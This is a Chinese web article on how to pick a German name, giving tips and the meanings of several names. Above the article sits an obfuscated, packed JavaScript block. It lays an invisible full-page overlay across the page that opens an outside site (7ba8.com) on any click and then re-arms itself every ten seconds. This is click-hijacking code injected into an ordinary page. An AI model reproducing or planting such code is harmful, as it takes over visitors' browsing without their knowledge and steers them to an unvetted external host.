<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>无论是正在上德语课的同学们,还是想要去德国留学的同学,起一个合适的德语名字,是十分必要的。今天我们就来探讨一下:德语名字应该怎么起?起外文名字最重要的一个原则就是:不要剑走偏锋。
比如说:那些叫桃子啊、芭比啊、小甜甜(sü?)的同学,希望你们清醒一点...也不要起过于著名的历史人物的名字,比如说列宁(Lenin)犹大(Judas),当然了,什么超人(Superman)、麦当劳(McDonald),这种想法有都不要有!
顺便告诉大家,德国《姓名法》规定,户口登记处的人员有权决定你的名字是否可以使用的,太奇怪的名字办事处的人员是有权拒绝给你上户口的。当然,我们不需要在德国上户口,肯定有些同学也会觉得,我就介绍我的中文名不可以吗?也不是不可以啦,但是毕竟日常生活接触中,有些中文名字对于外国人来说太过于拗口,可能会对交际产生一定的影响。想一个两全其美的办法也可以学会将自己的中文名字融入到外国名字哦!
比如说:你的名字里有“han”这个音,可以起“Han”, “kai”—“Kevin”,“lu”—“Lucks/Luis”,“li”—“Lily”...如果名字的发音上找不到,也可以根据自己的性格找哦!给大家安利几个名字以及它对应的感觉:
Annika/Anika
源自斯堪的纳维亚各族语言,是Anna的昵称,在希伯来语中是“天才”的意思。不仅在德国,这一名字在许多其他国家也非常受欢迎。
Corinna
Corinna来自于Korinna,是一位著名希腊女诗人的名字,意为“女孩”。
Bastian
Sebastian的昵称,源于希腊语,意为“德高望重的人”。
Liselotte
Liselotte 是由Lise和Lotte两个名字拼合而成的,是Elisabeth或Charlotte的昵称。Elisabeth的字面意思是“以上帝的名义起誓”,Charlotte则是“能干的人”。
Astrid
Astrid这个名字是从古北欧语中的áss或者oss(意为“神灵”)和frier(意为“美好”)演变而来的。
Lutz
Ludwig的昵称,源自古高地德语,意思是“战斗”或 “战争”。
Lorenz
Lorenz是将拉丁语中Laurentius这个名字转化成德语形式而得来的,意思是“来自Laurentum地区的人”,另一个意思是“戴着月桂的人”(月桂是荣誉和胜利的象征)。
|